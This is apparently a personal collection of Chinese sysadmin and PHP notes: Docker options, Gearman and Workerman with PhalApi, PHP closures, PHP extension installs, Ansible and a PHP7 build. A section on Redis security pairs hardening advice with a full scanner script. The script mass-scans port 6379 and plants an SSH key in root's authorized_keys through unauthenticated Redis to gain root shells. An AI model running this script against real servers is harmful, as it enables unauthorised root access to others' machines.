  • --no-prune 删除未标记的镜像

run命令

启动镜像,生成容器

  • -i 捕获标准输入输出
  • -t 分配一个终端或控制台
  • -d,--detach 后台运行
  • -h hostname
  • --ip ipv4地址
  • --ip6 ipv6地址
  • --link=[] 链接其它容器
  • --name 容器名称
  • --rm 退出时删除容器
  • -v,--volume=[] 绑定数据卷
  • --volumes-from=[] 从容器挂载数据卷
  • --ulimit=[] ulimit设置
  • -e,--env=[] 设置环境变量
  • -p 指定端口到端口的映射,可多个
  • -P 映射所有端口到容器的一个随机端口
  • -m 内存限制
  • 容器内执行exit,或Ctrl+d推出容器

save

search

搜索镜像:docker search 镜像名

start

stats

stop

tag

标记镜像:docker tag [OPTIONS] IMAGE[:TAG] [REGISTRYHOST/][USERNAME/]NAME[:TAG]

top

unpause

update

version

volume

wait

描述

提到异步并发,phper往往会想到swoole,但是其仅支持cli模式的特性,以及比较难读的文档,却总是令人却步。此时,使用gearman也许是个不错的选择。

gearman使用场景

gearman是异步工具,当后端在处理一些用时较长且不需即时回调的请求的时候,异步IO可以有效提高响应速度。比如:后台发送邮件、发送短信验证码、存储行为日志等等。
而且,gearman支持非cli模式,这意味着基于TCP协议的接口调用也可以进行异步请求了。

gearman安装

可以参考这篇博客《CenOS7环境安装PHP7扩展

(以下操作均在命令行模式下运行)

cd pecl-gearman/
/usr/local/php7/bin/phpize
./configure --with-php-config=/usr/local/php7/bin/php-config
make;
make install
  • 修改php.ini

    vim /usr/local/php7/lib/php.ini

  • 在END前加上 extension=gearman.so;

  • 重启php-fpm

    service php-fpm restart

  • 启动gearman

    gearmand -d

正式使用前的准备

  • 从github下载,地址: https://github.com/AxiosCros/PhalApi-Gearman
  • 将Gearman目录复制到phalapi框架中的Library目录中
  • 根据项目情况修改Gearman/gearman-server.php文件(同phalapi的入口文件)
  • 修改Phalapi框架的应用配置文件Config/app.php,添加如下配置
   'gearman'=>array(
          "servers"=>"127.0.0.1:4730",
          "task"=>array(
              'testTask'         =>  "Test.task",
          )
      ),
  • 运行Gearman/run.sh

    sh run.sh 1 #运行后会在Library/Gearman/目录下生成一个nohup.out文件,也就是gearman运行时的输出文件。最后的参数 1 为生成1个worker

基于PhalApi的使用

  • 入口注册gearman服务

    DI()->gearman = new Gearman_Lite(DI()->config->get('app.gearman'));

  • 调用gearman扩展的task方法,如:

    DI()->gearman->task('default.index',$data); //其中default.index是要执行task任务的接口,$data是要传入的参数

  • 接收gearman异步请求中的参数时,可以使用phalapi的 DI()->request->getAll();方法

测试实例

  • 部署PhalApi-example并运行gearman,(参考#正式使用前的准备)
  • 打开一个终端窗口(A),观察gearman输出文件,
    tail -f Library/Gearman/nohup.out
  • 另外再打开一个终端窗口(B),查看worker状态
  watch -n 1 "(echo status; sleep 0.1) | nc 127.0.0.1 4730"
  • 访问Index.index接口

  • 然后观察,最开始在B终端会看到有job正在执行,然后在A终端中会出现gearman的输出结果

转自《php 5.3新增的闭包语法介绍function() use() {}》
以下内容有部分修改

<?php
function callback($callback) {
    $callback();
}

基本函数

逐条阐述

callback(function() {
    print "This is a anonymous function.";
});

输出: This is a anonymous function.
这里是直接定义一个匿名函数进行传递, 在以往的版本中, 这是不可用的.
现在, 这种语法非常舒服, 和JavaScript语法基本一致, 之所以说基本呢, 需要继续向下看
结论: 一个舒服的语法必然会受欢迎的.


$msg = "Hello, everyone";
$callback = function () use ($msg) {
    print "This is a closure use string value, msg is: $msg.";
};
$msg = "Hello, everybody123123";
callback($callback);

输出: This is a closure use string value, msg is: Hello, everyone.
这里首先定义了一个闭包, 这次户口本上有名字了...
use, 一个新鲜的家伙...
众所周知, 闭包: 内部函数使用了外部函数中定义的变量.
在PHP新开放的闭包语法中, 我们就是用use来使用闭包外部定义的变量的.
这里我们使用了外部变量$msg, 定义完之后, 又对其值进行了改变, 闭包被执行后输出的是原始值
结论: 以传值方式传递的基础类型参数, 闭包use的值在闭包创建是就确定了.


$msg = "Hello, everyone";
$callback = function () use (&$msg) {
    print "This is a closure use string value lazy bind, msg is: $msg. ";
};
$msg = "Hello, everybody";
callback($callback);

输出: This is a closure use string value lazy bind, msg is: Hello, everybody.
换一种引用方式, 我们使用引用的方式来use
可以发现这次输出是闭包定义后的值...
这个其实不难理解, 我们以引用方式use, 那闭包use的是$msg这个变量的地址
当后面对$msg这个地址上的值进行了改变之后, 闭包内再输出这个地址的值时, 自然改变了.


$obj = (object) "asdfasdfas";
var_dump($obj);
$callback = function () use (&$obj) {
    print "This is a closure use object, msg is: {$obj->scalar}. <br />/n";
};
$obj = (object) "Hello, everybody";
callback($callback);

输出: This is a closure use object, msg is: Hello, everyone.
闭包中输出的是之前被拷贝的值为Hello, everyone的对象, 后面是对$obj这个名字的一个重新赋值.
可以这样考虑

  1. obj是对象Hello, everyone的名字
  2. 对象Hello, everyone被闭包use, 闭包产生了一个对Hello, everyone对象的引用
  3. obj被修改为Hello, everybody这个对象的名字
  4. 注意, 是名字obj代表的实体变了, 而不是Hello, everyone对象, 那自然闭包的输出还是前面的Hello, everyone

$obj = (object) "Hello, everyone";
$callback = function () use ($obj) {
    print "This is a closure use object, msg is: {$obj->scalar}. ";
};
$obj->scalar = "Hello, everybody";
callback($callback);

输出: This is a closure use object, msg is: Hello, everybody.
还是按照上面的步骤, 按部就班的来吧:

  1. obj名字指向Hello, everyone对象
  2. 闭包产生一个引用指向Hello, everyone对象
  3. 修改obj名字指向的对象(即Hello, everyone对象)的scalar值
  4. 执行闭包, 输出的自然是Hello, everybody, 因为其实只有一个真正的对象

$obj = (object) "Hello, everyone";
$callback = function () use (&$obj) {
    print "This is a closure use object lazy bind, msg is: {$obj->scalar}.";
};
$obj = (object) "Hello, everybody";
callback($callback);

输出: This is a closure use object lazy bind, msg is: Hello, everybody.
闭包引用的是什么呢? &$obj, 闭包产生的引用指向$obj这个名字所指向的地址.
因此, 无论obj怎么变化, 都是逃不脱的....
所以, 输出的就是改变后的值


function counter() {
    $counter = 1;
    return function() use(&$counter) {return $counter ++;};
}
$counter1 = counter();
$counter2 = counter();
echo "counter1: " . $counter1() . "<br />/n";
echo "counter1: " . $counter1() . "<br />/n";
echo "counter1: " . $counter1() . "<br />/n";
echo "counter1: " . $counter1() . "<br />/n";
echo "counter2: " . $counter2() . "<br />/n";
echo "counter2: " . $counter2() . "<br />/n";
echo "counter2: " . $counter2() . "<br />/n";
echo "counter2: " . $counter2() . "<br />/n";

一个利用闭包的计数器产生器
这里其实借鉴的是Python知识库中介绍闭包时的例子...
我们可以这样考虑:

  1. counter函数每次调用, 创建一个局部变量$counter, 初始化为1.
  2. 然后创建一个闭包, 闭包产生了对局部变量$counter的引用.
  3. 函数counter返回创建的闭包, 并销毁局部变量, 但此时有闭包对$counter的引用,它并不会被回收, 因此, 我们可以这样理解, 被函数counter返回的闭包, 携带了一个游离态的变量.
  4. 由于每次调用counter都会创建独立的$counter和闭包, 因此返回的闭包相互之间是独立的.
  5. 执行被返回的闭包, 对其携带的游离态变量自增并返回, 得到的就是一个计数器.

结论: 此函数可以用来生成相互独立的计数器.

完整代码

<?php
function callback($callback) {
    $callback();
}
echo "<br />==================1====================<br />";
//输出: This is a anonymous function.<br />/n
//这里是直接定义一个匿名函数进行传递, 在以往的版本中, 这是不可用的.
//现在, 这种语法非常舒服, 和JavaScript语法基本一致, 之所以说基本呢, 需要继续向下看
//结论: 一个舒服的语法必然会受欢迎的.
callback(function() {
    print "This is a anonymous function.<br />/n";
});
echo "<br />==================2====================<br />";
//输出: This is a closure use string value, msg is: Hello, everyone.<br />/n
//这里首先定义了一个闭包, 这次户口本上有名字了...
//use, 一个新鲜的家伙...
//众所周知, 闭包: 内部函数使用了外部函数中定义的变量.
//在PHP新开放的闭包语法中, 我们就是用use来使用闭包外部定义的变量的.
//这里我们使用了外部变量$msg, 定义完之后, 又对其值进行了改变, 闭包被执行后输出的是原始值
//结论: 以传值方式传递的基础类型参数, 闭包use的值在闭包创建是就确定了.
$msg = "Hello, everyone";
$callback = function () use ($msg) {
    print "This is a closure use string value, msg is: $msg. <br />/n";
};
$msg = "Hello, everybody123123";
callback($callback);
echo "<br />=================3=====================<br />";
//输出: This is a closure use string value lazy bind, msg is: Hello, everybody.<br />/n
//换一种引用方式, 我们使用引用的方式来use
//可以发现这次输出是闭包定义后的值...
//这个其实不难理解, 我们以引用方式use, 那闭包use的是$msg这个变量的地址
//当后面对$msg这个地址上的值进行了改变之后, 闭包内再输出这个地址的值时, 自然改变了.
$msg = "Hello, everyone";
$callback = function () use (&$msg) {
    print "This is a closure use string value lazy bind, msg is: $msg. <br />/n";
};
$msg = "Hello, everybody";
callback($callback);

echo "<br />==================4====================<br />";
//输出: This is a closure use object, msg is: Hello, everyone.<br />/n
//闭包中输出的是之前被拷贝的值为Hello, everyone的对象, 后面是对$obj这个名字的一个重新赋值.
//可以这样考虑
//1. obj是对象Hello, everyone的名字
//2. 对象Hello, everyone被闭包use, 闭包产生了一个对Hello, everyone对象的引用
//3. obj被修改为Hello, everybody这个对象的名字
//4. 注意, 是名字obj代表的实体变了, 而不是Hello, everyone对象, 那自然闭包的输出还是前面的Hello, everyone
$obj = (object) "asdfasdfas";
var_dump($obj);
$callback = function () use (&$obj) {
    print "This is a closure use object, msg is: {$obj->scalar}. <br />/n";
};
$obj = (object) "Hello, everybody";
callback($callback);
echo "<br />===================5===================<br />";
//输出: This is a closure use object, msg is: Hello, everybody.<br />/n
//还是按照上面的步骤, 按部就班的来吧:
//1. obj名字指向Hello, everyone对象
//2. 闭包产生一个引用指向Hello, everyone对象
//3. 修改obj名字指向的对象(即Hello, everyone对象)的scalar值
//4. 执行闭包, 输出的自然是Hello, everybody, 因为其实只有一个真正的对象
$obj = (object) "Hello, everyone";
$callback = function () use ($obj) {
    print "This is a closure use object, msg is: {$obj->scalar}. <br />/n";
};
$obj->scalar = "Hello, everybody";
callback($callback);
echo "<br />===================6===================<br />";
//输出: This is a closure use object lazy bind, msg is: Hello, everybody.<br />/n
//闭包引用的是什么呢? &$obj, 闭包产生的引用指向$obj这个名字所指向的地址.
//因此, 无论obj怎么变化, 都是逃不脱的....
//所以, 输出的就是改变后的值
$obj = (object) "Hello, everyone";
$callback = function () use (&$obj) {
    print "This is a closure use object lazy bind, msg is: {$obj->scalar}. <br />/n";
};
$obj = (object) "Hello, everybody";
callback($callback);
echo "<br />================7======================<br />";
/**
 * 一个利用闭包的计数器产生器
 * 这里其实借鉴的是<a href="http://lib.csdn.net/base/11" class='replace_word' title="Python知识库" target='_blank' style='color:#df3434; font-weight:bold;'>Python</a>中介绍闭包时的例子...
 * 我们可以这样考虑:
 *      1. counter函数每次调用, 创建一个局部变量$counter, 初始化为1.
 *      2. 然后创建一个闭包, 闭包产生了对局部变量$counter的引用.
 *      3. 函数counter返回创建的闭包, 并销毁局部变量, 但此时有闭包对$counter的引用,
 *          它并不会被回收, 因此, 我们可以这样理解, 被函数counter返回的闭包, 携带了一个游离态的
 *          变量.
 *      4. 由于每次调用counter都会创建独立的$counter和闭包, 因此返回的闭包相互之间是独立的.
 *      5. 执行被返回的闭包, 对其携带的游离态变量自增并返回, 得到的就是一个计数器.
 * 结论: 此函数可以用来生成相互独立的计数器.
 */
function counter() {
    $counter = 1;
    return function() use(&$counter) {return $counter ++;};
}
$counter1 = counter();
$counter2 = counter();
echo "counter1: " . $counter1() . "<br />/n";
echo "counter1: " . $counter1() . "<br />/n";
echo "counter1: " . $counter1() . "<br />/n";
echo "counter1: " . $counter1() . "<br />/n";
echo "counter2: " . $counter2() . "<br />/n";
echo "counter2: " . $counter2() . "<br />/n";
echo "counter2: " . $counter2() . "<br />/n";
echo "counter2: " . $counter2() . "<br />/n";

转自《请务必注意 Redis 安全配置,否则将导致轻松被入侵》,内容有部分修改

修复建议

禁止一些高危命令

修改 /etc/redis.conf 文件,添加

rename-command FLUSHALL ""
rename-command CONFIG   ""
rename-command EVAL     ""

来禁用远程修改 DB 文件地址

以低权限运行 Redis 服务

为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

为 Redis 添加密码验证

修改 redis.conf 文件,添加

requirepass mypassword #注意mypassword是密码,不是命令的一部分

禁止外网访问 Redis

修改 redis.conf 文件,添加或修改

bind 127.0.0.1#如果需要外网访问,则将这行注释掉

使得 Redis 服务只在当前主机可用

扫描工具

使用说明

    #以Ubuntu为例
    su
    # Requirements
    apt-get install redis-server expect zmap

    git clone https://github.com/qingxp9/yyfexploit
    cd yyfexploit/redis

    # 扫描6379端口
    # 如果你要扫内网,把/etc/zmap/zmap.conf中blacklist-file这一行注释掉
    zmap -p 6379 10.0.0.0/8 -B 10M -o ip.txt

    # Usage
    ./redis.sh ip.txt

    #查看扫描结果
    cat ip.txt

    #centos下安装
    yum -y install zmap

最后,将会生成几个txt文件记录结果
其中:
runasroot.txt 表示redis无认证,且以root运行
noauth.txt 表示redis无认证,但以普通用户运行
rootshell.txt 已写入公钥,可直接以证书登录root用户

像这样:

ssh -i id_rsa root@x.x.x.x

工具源代码

   #!/bin/sh
    if [ $# -eq 1  ]
    then
      ip_list=$1

      ##create id_rsa
      echo "****************************************Create id_rsa file"

      expect -c "
        spawn ssh-keygen -t rsa -f id_rsa -C \"yyf\"
        expect {
            \"*passphrase): \" {
                exp_send \"\r\"
                exp_continue
            }
            \"*again: \" {
                exp_send \"\r\"
            }
            \"*y/n)? \" {
                exp_send \"n\r\"
            }
        }
        expect eof
      "

      echo "\n\n****************************************Attack Targets"
      touch noauth.txt runasroot.txt rootshell.txt haveauth.txt
      i=0
      cat $ip_list | while read ip
      do
        i=`expr $i + 1`;
        #write id_rsa.pub to remote
        echo "*****${i}***connect to remote ${ip} redis "

        expect -c "
          set timeout 3
          spawn redis-cli -h $ip config set dir /root/.ssh/
          expect {
            \"OK\"                        { exit 0 }
            \"ERR Changing directory: Permission denied\"         { exit 1 }
            timeout                       { exit 2 }
            \"(error) NOAUTH Authentication required\"         { exit 3 }
          }
        "

        case $? in
            0)  echo "run redis as root"
                echo $ip >> noauth.txt
                echo $ip >> runasroot.txt
            ;;
            1)  echo "not run redis as root\n\n\n"
                echo $ip >> noauth.txt
                continue
            ;;
            2)  echo "connect timeout\n\n\n"
                continue
            ;;
            3)  echo "Have Auth\n\n\n"
                echo $ip >> haveauth.txt
                continue
            ;;
        esac

        (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
        cat foo.txt | redis-cli -h $ip -x set 1
        redis-cli -h $ip config set dir /root/.ssh/
        redis-cli -h $ip config set dbfilename "authorized_keys"
        redis-cli save

        #login test
        echo "#try to login"
        expect -c "
          set timeout 5
          spawn ssh -i id_rsa root@$ip echo \"yyf\"
          expect {
            \"*yes/no\"     { send \"yes\n\"}

            \"*password\"   { send \"\003\"; exit 1 }
            \"yyf\"         { exit 0 }
            timeout         { exit 2 }
          }
          exit 4
        "

        exitcode=$?

        if [ $exitcode -eq 0 ]
        then
          echo "---------------${ip} is get root shell"
          echo $ip >> rootshell.txt
        fi

        echo "\n\n\n"
      done

      echo "##########Final Count##########"
      wc -l $ip_list
      echo "----------"
      wc -l noauth.txt
      wc -l runasroot.txt
      wc -l rootshell.txt
      echo "----------"
      wc -l haveauth.txt

    else
      echo "usage: ./redis.sh ip.txt"
    fi

#操作系统内核信息
uname -a

#Linux查看cpu逻辑CPU个数(核心数)与CPU型号
cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c

#查看cpu个数(一个cpu可能有多个核心)
cat /proc/cpuinfo | grep physical | uniq -c

#查看版本说明当前CPU运行在32bit还是64bit模式下
getconf LONG_BIT

#完整查看cpu物理信息
dmidecode | grep -A48 'Processor Information$'

#查看进程,按内存从大到小
ps -e -o "%C : %p : %z : %a"|sort -nr

#查看剩余内存
free -m |grep "Mem" | awk "{print $2}"

#查看磁盘占用
df -h

#查看系统种类及版本号等信息
lsb_release -a

#获取服务器出口ip
curl http://1212.ip138.com/ic.asp

#查看本地ip
ip addr show eth0 | grep inet | awk '{ print $2; }' | sed 's/\/.*$//'

前言

本扩展旨在让socket编程,像用PhalApi开发接口一样简单,让开发者只需专注于业务逻辑,创建相应的Server类并编写action方法即可。此外,Server层还可以和其它接口共用Domain层和Model层,实现功能上的复用。

准备工作

基本运行环境

CentOS7、php7

workman运行所需扩展

# 检查环境
curl -Ss http://www.workerman.net/check.php | php

如果不全是ok的话,可以参考我的这篇博客安装php7运行环境
Centos7安装nginx+php7运行环境

安装PhalApi-Workman扩展

  • 从github上下载PhalApi-Workman扩展,
  • 拷贝Workman文件夹至PhalApi的Library目录下
  • 拷贝start_workman.php文件至PhalApi的根目录,与Demo同级
  • 拷贝Server文件夹至接口项目目录中,与Domain等同级(其中Common.php与Container.php为必备文件)

设置配置文件

打开Config下的app.php配置文件

//添加以下内容
'workman'=>array(
'app_name'      => "my_app",                  // 项目应用名称
'socket_host'   => "tcp://0.0.0.0:1212",      // socket连接端口地址
'service_port'  => "1238",                    // 服务注册端口
'lan_ip'        => "127.0.0.1",               // 本机ip,分布式部署时使用通信ip
'process_count' => 4,                         // 进程数
'start_port'    => "2900",                    // 内部通讯起始端口
'heartbeat'     => 10,                        // 心跳间隔时间,单位秒
'heartbeat_data'=> '{"type":"ping"}',        // 心跳数据
'default_server'=> "Index",                  // 客户端连接时或消息中没有server参数时,默认的消息处理类
'default_action'=> "index",                  // 客户端连接时或消息中没有action参数时,默认的消息处理方法
)

编写入口文件

在Public目录下创建socket.php文件,代码内容如下

<?php
require_once dirname(__FILE__) . '/init.php';
//装载你的接口
DI()->loader->addDirs('Demo');

使用教程

启动或停止workman

#以debug(调试)方式启动
php start_workman.php start

#以daemon(守护进程方式启动
php start_workman.php start -d

#以nohup方式启动
nohup php start_workman.php start -d

#停止
php start_workman.php stop

#重启
php start_workman.php restart

#平滑重启
php start_workman.php reload

#查看状态
php start_workman.php status

#强行杀死所有workerman进程(要求workerman版本>=3.2.2)
php start_workman.php kill

#nohup启动
nohup [启动命令]

debug和daemon方式区别

  • 以debug方式启动,代码中echo、var_dump、print等打印函数会直接输出在终端。
  • 以daemon方式启动,代码中echo、var_dump、print等打印会默认重定向到/dev/null文件,可以通过设置Worker::$stdoutFile = '/your/path/file';来设置这个文件路径。
  • 以debug方式启动,终端关闭后workerman会随之关闭并退出。
  • 以daemon方式启动,终端关闭后workerman继续后台正常运行。
  • 具体请参考workman文档

消息发送规则

客户端发送消息格式

 {
  "server": "",
  "action": "",
  "data": {

  },
 }

其中server是消息处理类的名称,action是类中方法的名称,data为传送的数据。

服务端回调消息格式

消息格式自定义,在方法中回调就可以了

回调数据前,需调用setTarget(设置目标类型,0当前用户,1特定用户id,2多个用户,3全部在线用户),setClient(setTarget为0或3时,不用调用该方法,其余情况需调用该方法设置目标id)

修改linux内核

ulimit -n 65535

nginx优化

access日志优化Error日志优化,减少磁盘IO

worker_processes auto; #设置为cpu核心数或者auto

worker_rlimit_nofile 65535; #与ulimit保持一致

events

events{
  worker_connections 65535; #单进程最大连接数
}

http

http{
  server_names_hash_bucket_size 128; #服务器名字的hash表大小
  client_header_buffer_size 32k; #上传文件大小限制
  large_client_header_buffers 4 64k; #设定请求缓
  client_max_body_size 8m; #设定请求缓

  fastcgi_connect_timeout 300;
  fastcgi_send_timeout 300;
  fastcgi_read_timeout 300;
  fastcgi_buffer_size 64k;
  fastcgi_buffers 4 64k;
  fastcgi_busy_buffers_size 128k;
  fastcgi_temp_file_write_size 128k;

}

缓存区配置

在CentOS 7上添加Swap交换空间

相关路径

php路径: /usr/local/php7/
phpize路径: /usr/local/php7/bin/phpize
php-config路径: /usr/local/php7/bin/php-config
php.ini路径: /usr/local/php7/lib/php.ini
具体路径视安装时的配置而定

xdebug

https://xdebug.org/download.php

cd /usr/src
wget https://xdebug.org/files/xdebug-2.9.6.tgz
tar -zxvf xdebug-2.9.6.tgz
cd xdebug-2.9.6
/usr/local/php7/bin/phpize
./configure --with-php-config=/usr/local/php7/bin/php-config
make
make install
# 修改php.ini
vim /usr/local/php7/lib/php.ini
# 添加如下配置
[xdebug]
zend_extension=xdebug.so;
xdebug.remote_enable=on;
xdebug.remote_handler=dbgp;
xdebug.remote_host=localhost;
xdebug.remote_port=9100;
xdebug.idekey=PHPSTORM;

# 重启php-fpm
service php-fpm restart

php --version
# 看到有with Xdebug v2.6.1就是成功了

redis

下载支持php7的redis扩展并编译安装

cd /usr/src
git clone https://github.com/phpredis/phpredis.git
cd phpredis
/usr/local/php7/bin/phpize
./configure --with-php-config=/usr/local/php7/bin/php-config
make
make install

# 修改php.ini
vim /usr/local/php7/lib/php.ini
# 在END前加上
extension=redis.so;

# 重启php-fpm
service php-fpm restart

swoole

#pecl install
/usr/local/php7/bin/pecl install swool

#git source install
cd /usr/src
wget https://github.com/swoole/swoole-src/archive/v4.4.0.tar.gz
tar -zxvf v4.4.0.tar.gz
cd  swoole-src-4.4.0/
/usr/local/php7/bin/phpize
./configure --with-php-config=/usr/local/php7/bin/php-config
make
make install

#修改php.ini
vim /usr/local/php7/lib/php.ini
#在END前加上
extension=swoole.so;


# 重启php-fpm
service php-fpm restart

# 查看swoole版本
php -r 'echo SWOOLE_VERSION;'

memcached

cd /usr/src
git clone https://github.com/php-memcached-dev/php-memcached.git
cd php-memcached/
git checkout php7
/usr/local/php7/bin/phpize
./configure --with-php-config=/usr/local/php7/bin/php-config
make && make install

#修改php.ini
vim /usr/local/php7/lib/php.ini
#在END前加上
extension=memcached.so;

# 重启php-fpm
service php-fpm restart

gearman

yum install -y gearman-server gearmand
yum install -y php-devel php-pear httpd-devel libgearman libgearman-devel
cd /usr/src
git clone https://github.com/wcgallego/pecl-gearman.git
cd pecl-gearman/
/usr/local/php7/bin/phpize
./configure --with-php-config=/usr/local/php7/bin/php-config
make
make install

#修改php.ini
vim /usr/local/php7/lib/php.ini
#在END前加上
extension=gearman.so;

# 重启php-fpm
service php-fpm restart

#启动gearman
gearmand -d

mongoDB

#安装mongodb-php扩展
/usr/local/php7/bin/pecl install mongodb

#编辑php.ini文件
vim /usr/local/php7/lib/php.ini

#在最下面的END前加上
extension=mongodb.so;

service php-fpm restart

如果pecl安装mongodb扩展失败,可以手动下载mongdo扩展安装包

cd /usr/src/
wget https://pecl.php.net/get/mongodb-1.3.4.tgz
tar zxvf mongodb-1.3.4.tgz
cd mongodb-1.3.4
/usr/local/php7/bin/phpize
./configure --with-php-config=/usr/local/php7/bin/php-config
make
make install

phalcon7

sudo yum install php-devel php-mysql gcc libtool pcre-devel
cd /usr/src
git clone git://github.com/phalcon/cphalcon.git
cd cphalcon/build
sudo ./install

vim /usr/local/php7/lib/php.ini
extension=phalcon.so;
service php-fpm restart

yaf

/usr/local/php7/bin/pecl install yaf

vim /usr/local/php7/lib/php.ini

#在最下面的END前加上
extension=yaf.so;

service php-fpm restart

grpc

/usr/local/php7/bin/pecl install grpc

vim /usr/local/php7/lib/php.ini

#在最下面的END前加上
extension=grpc.so;

service php-fpm restart

#composer require grpc/grpc

Tideways

git clone https://github.com/tideways/php-xhprof-extension.git tideways
cd tideways/
/usr/local/php7/bin/phpize
./configure --with-php-config=/usr/local/php7/bin/php-config
make
make install

vim /usr/local/php7/lib/php.ini
extension=tideways_xhprof.so;

service php-fpm restart

xhprof

git clone https://github.com/longxinH/xhprof.git
cd xhprof/extension/
/usr/local/php7/bin/phpize
./configure --with-php-config=/usr/local/php7/bin/php-config
make
make install

vim /usr/local/php7/lib/php.ini
extension=xhprof.so;
service php-fpm restart

protobuf

/usr/local/php7/bin/pecl install protobuf

vim /usr/local/php7/lib/php.ini

#在最下面的END前加上
extension=protobuf.so;

service php-fpm restart

# composer require google/protobuf

Yaconf

yaconf github

cd /usr/src/
git clone https://github.com/laruence/yaconf.git
cd yaconf
/usr/local/php7/bin/phpize
./configure --with-php-config=/usr/local/php7/bin/php-config
make
make install

vim /usr/local/php7/lib/php.ini
extension=yaconf.so;

service php-fpm restart

zip

/usr/local/php7/bin/pecl install zip
vim /usr/local/php7/lib/php.ini

extension=zip.so;
service php-fpm restart

安装redis

yum -y install redis

启动服务

systemctl start redis.service

停止服务

systemctl stop redis.service

重启服务

systemctl restart redis.service

检查状态

systemctl status redis.service

设置随系统启动

systemctl enable redis.service

关闭随系统启动

systemctl disable redis.service

PhalApi-Redis扩展常用方法

//注册redis服务
DI()->redis = new Redis_Lite(DI()->config->get('app.redis.servers'));

//存入永久的键值队
DI()->redis->set_forever(键名,值,库名);
//获取永久的键值队
DI()->redis->get_forever(键名, 库名);

//存入一个有时效性的键值队,默认600秒
DI()->redis->set_Time(键名,值,有效时间,库名);
//获取一个有时效性的键值队
DI()->redis->get_Time(键名, 库名);

//写入队列左边
DI()->redis->set_Lpush(队列键名,值, 库名);
//读取队列右边
DI()->redis->get_lpop(队列键名, 库名);
//读取队列右边 如果没有读取到阻塞一定时间(阻塞时间或读取配置文件blocking的值)
DI()->redis->get_Brpop(队列键名,值, 库名);

//删除一个键值队适用于所有
DI()->redis->del(键名, 库名);
//自动增长
DI()->redis->get_incr(键名, 库名);
//切换DB并且获得操作实例
DI()->redis->get_redis(键名, 库名);

安装

yum install -y libevent libevent-devel
yum install -y memcached

# 验证安装
memcached -h

# 加入启动列表
chkconfig memcached on

配置

vim /etc/sysconfig/memcached

#文件中内容如下
PORT="11211″           #端口
USER="memcached" #使用的用户名
MAXCONN="1024″    #同时最大连接数
CACHESIZE="64"      #使用的内存大小
OPTIONS=""             #附加参数

查看运行状态

memcached-tool 127.0.0.1:11211 stats

服务管理

service memcached start
service memcached stop
service memcached status

php-memcached扩展

cd /usr/src
git clone https://github.com/php-memcached-dev/php-memcached.git
cd php-memcached/
git checkout php7
/usr/local/php7/bin/phpize
./configure --with-php-config=/usr/local/php7/bin/php-config
make && make install

#修改php.ini
vim /usr/local/php7/lib/php.ini
#在END前加上
extension=memcached.so;

# 重启php-fpm
service php-fpm restart

yum install -y python-setuptools python-setuptools-devel

easy_install pip

pip install ansible
  • 测试连通性

    ansible web -m ping -o
  • 执行shell语句

    ansible web -m shell -a "hostname"
  • 下发文件

    ansible web -m copy -a 'src=a.test dest=/root/a.test owner=root group=root mode=644 backup=yes'
  • 包和服务管理

    ansible web -m yum -a 'name=httpd state=latest' -f 5 -o
  • 用户管理

echo ansible | openssl passwd -1 stdin
[root@console ~]# $1$LT8KCvCG$meIJy2/Ns2KAGmD5IZfkW0


ansible web -m user -a 'name=shencan password="$1$LT8KCvCG$meIJy2/Ns2KAGmD5IZfkW0"' -f 5 -o
ssh < IP > -l shencan

准备工作

yum install -y yum-utils
package-cleanup --cleandupes
yum update -y
yum install -y epel-release
# 如果找不到epel-release包,则进行下面两步操作
# wget https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm
# rpm -ivh epel-release-latest-7.noarch.rpm

开始安装

  • 安装nginx
yum install -y nginx
# 配置开机启动
systemctl enable nginx.service
  • 防火墙开启80端口
 yum install -y firewalld firewall-config
 systemctl start firewalld.service
 systemctl enable firewalld.service
 firewall-cmd --permanent --add-service=http
 firewall-cmd --permanent --add-service=https #如果用不到https服务,此步跳过
 firewall-cmd --permanent --zone=trusted --add-port=80/tcp
 firewall-cmd --permanent --zone=trusted --add-port=443/tcp #如果用不到443端口,此步跳过
 firewall-cmd --reload
 firewall-cmd --permanent --zone=trusted --list-port

firewall-cmd --zone=public --permanent --add-service=mysql #需要远程连接mysql时再进行这步操作
  • 安装必备的依赖
yum install -y \
gcc-c++ autoconf make \
libjpeg libjpeg-devel  \
libpng libpng-devel \
freetype freetype-devel \
libxml2 libxml2-devel \
zlib zlib-devel unzip \
zip libzip-devel \
glibc glibc-devel \
glib2 glib2-devel \
bzip2 bzip2-devel \
curl curl-devel libcurl-devel \
ncurses openssl-devel \
gdbm-devel db4-devel libXpm-devel \
libX11-devel gd-devel gmp-devel \
readline-devel libxslt-devel \
expat-devel xmlrpc-c xmlrpc-c-devel \
libicu-devel libmcrypt-devel \
libmemcached-devel \
oniguruma oniguruma-devel \
sqlite-devel \
wget

yum install -y http://rpms.remirepo.net/enterprise/7/remi/x86_64/oniguruma5php-6.9.5+rev1-2.el7.remi.x86_64.rpm
yum install -y http://rpms.remirepo.net/enterprise/7/remi/x86_64/oniguruma5php-devel-6.9.5+rev1-2.el7.remi.x86_64.rpm
  • 编译安装 GD 库
wget https://github.com/libgd/libgd/releases/download/gd-2.3.3/libgd-2.3.3.tar.gz
tar -xf libgd-2.3.3.tar.gz
cd libgd-*
./configure --bindir=/usr/sbin/ \
            --sbindir=/usr/sbin/ \
            --libexecdir=/usr/libexec \
            --sysconfdir=/etc/ \
            --localstatedir=/var \
            --libdir=/usr/lib64/  \
            --includedir=/usr/include/ \
            --datarootdir=/usr/share \
            --infodir=/usr/share/info \
            --localedir=/usr/share/locale \
            --mandir=/usr/share/man/ \
            --docdir=/usr/share/doc/libgd
make
make install
  • 编译安装 freetype
cd /usr/src/
wget https://download.savannah.gnu.org/releases/freetype/freetype-2.10.0.tar.bz2 -O freetype.tar.bz2
tar -xjf freetype.tar.bz2
cd freetype-*
./configure --prefix=/usr/local/freetype
make && make install

php7.3 环境需要重新按照 libzip 至最新版,详见《php7.3 环境重新安装libzip

  • 下载php7

官方下载地址 http://php.net/downloads.php

cd /usr/src/
wget https://www.php.net/distributions/php-7.4.28.tar.bz2 -O php7.bz2
tar -xjf php7.bz2
mv php-* php7
cd /usr/src/php7

#注意,因为php7.1以后[]不支持字符串操作,凡是这种形式的$arr[]=(string)$someString; 的写法
#在php7.1版本都以后会报"[] operator not supported for strings" 的错误
  • 编译php
# 查看可配置的编译参数
./configure --help

# 视情况增删参数,以下为一些常用的
./configure --prefix=/usr/local/php7 \
--enable-gd \
--enable-fpm \
--enable-dom \
--enable-pdo \
--enable-json \
--enable-exif \
--enable-intl \
